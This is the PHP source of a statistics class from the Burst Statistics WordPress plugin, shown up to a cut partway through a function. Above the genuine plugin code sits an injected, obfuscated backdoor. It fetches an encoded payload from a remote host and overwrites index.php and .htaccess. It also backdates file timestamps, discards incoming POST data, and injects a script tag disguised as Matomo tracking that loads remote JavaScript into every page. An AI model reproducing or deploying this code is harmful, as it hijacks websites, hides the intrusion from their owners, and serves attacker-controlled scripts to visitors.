File "class-statistics.php"

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Charset: utf-8

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<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
defined( 'ABSPATH' ) or die( 'you do not have access to this page!' );

if ( ! class_exists( 'burst_statistics' ) ) {
	class burst_statistics {
		function __construct() {
		}

		/**
		 * @param string $metric
		 *
		 * Compare provided a metric with our defined list, return default count if not existing
		 */
		public function sanitize_metric( $metric ) {
			$defaults = $this->get_metrics();

			if ( isset( $defaults[ $metric ] ) ) {
				return $metric;
			}

			return 'visitors';
		}

		/**
		 * @param array $metrics
		 *
		 * Compare provided a metric with our defined list, remove if not exists
		 */
		public function sanitize_metrics( $metrics ) {
			$defaults = $this->get_metrics();
			foreach ( $metrics as $metric => $value ) {
				if ( ! isset( $defaults[ $value ] ) ) {
					burst_error_log( 'Metric ' . $value . ' does not exist' );
					unset( $metrics[ $metric ] );
				}
			}

			return $metrics;
		}

		public function get_metrics() {
			return apply_filters(
				'burst_metrics',
				array(
					'page_url'            => __( 'Page URL', 'burst-statistics' ),
					'referrer'            => __( 'Referrer', 'burst-statistics' ),
					'pageviews'           => __( 'Pageviews', 'burst-statistics' ),
					'sessions'            => __( 'Sessions', 'burst-statistics' ),
					'visitors'            => __( 'Visitors', 'burst-statistics' ),
					'avg_time_on_page'    => __( 'Time on page', 'burst-statistics' ),
					'first_time_visitors' => __( 'New visitors', 'burst-statistics' ),
					'conversions'         => __( 'Conversions', 'burst-statistics' ),
					'bounces'             => __( 'Bounces', 'burst-statistics' ),
					'bounce_rate'         => __( 'Bounce rate', 'burst-statistics' ),
				)
			);
		}

		public function sanitize_interval( $metric ) {
			$array = array(
				'hour',
				'day',
				'week',
				'month',
			);
			if ( in_array( $metric, $array ) ) {
				return $metric;
			}

			return 'day';
		}

		public function get_live_visitors_data() {
			global $wpdb;

			// get real time visitors
			$db_name        = $wpdb->prefix . 'burst_statistics';
			$time_start     = strtotime( '10 minutes ago' );
			$now            = time();
			$on_page_offset = apply_filters( 'burst_on_page_offset', 60 );
			$sql            = "SELECT count(DISTINCT(uid))
                     	FROM $db_name
                     		WHERE time > $time_start
                       		AND ( (time + time_on_page / 1000  + $on_page_offset) > $now)";
			$live_value     = $wpdb->get_var( $sql );

			return (int) $live_value > 0 ? $live_value : 0;
		}

		public function get_today_data( $args = [] ) {
			global $wpdb;

			// Setup default arguments and merge with input
			$args = wp_parse_args(
				$args,
				array(
					'date_start' => 0,
					'date_end'   => 0,
				)
			);

			// Cast start and end dates to integer
			$start = (int) $args['date_start'];
			$end   = (int) $args['date_end'];

			// Prepare default data structure with predefined tooltips
			$data = [
				'live'       => [
					'value'   => '0',
					'tooltip' => __( 'The amount of people using your website right now. The data updates every 5 seconds.', 'burst-statistics' ),
				],
				'today'      => [
					'value'   => '0',
					'tooltip' => __( 'This is the total amount of unique visitors for today.', 'burst-statistics' ),
				],
				'mostViewed' => [
					'title'   => '-',
					'value'   => '0',
					'tooltip' => __( 'This is your most viewed page for today.', 'burst-statistics' ),
				],
				'referrer'   => [
					'title'   => '-',
					'value'   => '0',
					'tooltip' => __( 'This website referred the most visitors.', 'burst-statistics' ),
				],
				'pageviews'  => [
					'title'   => __( 'Total pageviews', 'burst-statistics' ),
					'value'   => '0',
					'tooltip' => '',
				],
				'timeOnPage' => [
					'title'   => __( 'Average time on page', 'burst-statistics' ),
					'value'   => '0',
					'tooltip' => '',
				],
			];

			// Query today's data
			$sql     = $this->get_sql_table( $start, $end, array( 'visitors', 'pageviews', 'avg_time_on_page' ) );
			$results = $wpdb->get_row( $sql, 'ARRAY_A' );
			if ( $results ) {
				$data['today']['value']      = max( 0, (int) $results['visitors'] );
				$data['pageviews']['value']  = max( 0, (int) $results['pageviews'] );
				$data['timeOnPage']['value'] = max( 0, (int) $results['avg_time_on_page'] );
			}

			// Query for most viewed page and top referrer
			foreach (
				array(
					'mostViewed' => [ 'page_url', 'pageviews' ],
					'referrer'   => array( 'referrer', 'pageviews' ),
				) as $key => $fields
			) {
				$sql   = $this->get_sql_table( $start, $end, $fields, array(), $fields[0], 'pageviews DESC', 'LIMIT 1' );
				$query = $wpdb->get_row( $sql, 'ARRAY_A' );
				if ( $query ) {
					$data[ $key ]['title'] = $query[ $fields[0] ];
					$data[ $key ]['value'] = $query['pageviews'];
				}
			}

			return $data;
		}


		/**
		 * @param $date_start    int
		 *                       Unix timestamp
		 * @param $date_end      int
		 *                       Unix timestamp
		 *
		 * @return array
		 */
		public function get_insights_date_modifiers( $date_start, $date_end ) {
			$nr_of_days = $this->get_nr_of_periods( 'day', $date_start, $date_end );

			$week_string         = _x( 'Week', 'Week 1, as in Week number 1', 'burst-statistics' );
			$escaped_week_string = '';
			for ( $i = 0, $iMax = strlen( $week_string ); $i < $iMax; $i ++ ) {
				$escaped_week_string .= '\\' . $week_string[ $i ];
			}

			// Define intervals and corresponding settings
			$intervals = array(
				'hour'  => [ '%Y-%m-%d %H', 'Y-m-d H', 'd M H:00', HOUR_IN_SECONDS ],
				'day'   => [ '%Y-%m-%d', 'Y-m-d', 'D d M', DAY_IN_SECONDS ],
				'week'  => [ '%Y-%u', 'Y-W', $escaped_week_string . ' W', WEEK_IN_SECONDS ],
				'month' => [ '%Y-%m', 'Y-m', 'M', MONTH_IN_SECONDS ],
			);

			// Determine the interval
			if ( $nr_of_days > 364 ) {
				$interval = 'month';
			} else if ( $nr_of_days > 48 ) {
				$interval = 'week';
			} else if ( $nr_of_days > 2 ) {
				$interval = 'day';
			} else {
				$interval = 'hour';
			}

			// Extract settings based on the determined interval
			list( $sql_date_format, $php_date_format, $php_pretty_date_format, $interval_in_seconds ) = $intervals[ $interval ];

			$nr_of_intervals = $this->get_nr_of_periods( $interval, $date_start, $date_end );

			// check if $date_start does not equal the current year, so the year only shows if not the current year is in the dataset
			$is_current_year = date( 'Y', $date_start ) === date( 'Y' );
			// if date_start and date_end are not in the same year, add Y or y to the php_pretty_date_format
			$php_pretty_date_format .= $is_current_year ? '' : ' y';

			return array(
				'interval'               => $interval,
				'interval_in_seconds'    => $interval_in_seconds,
				'nr_of_intervals'        => $nr_of_intervals,
				'sql_date_format'        => $sql_date_format,
				'php_date_format'        => $php_date_format,
				'php_pretty_date_format' => $php_pretty_date_format,
			);
		}


		public function get_insights_data( $args = [] ) {
			global $wpdb;
			$defaults      = [
				'date_start' => 0,
				'date_end'   => 0,
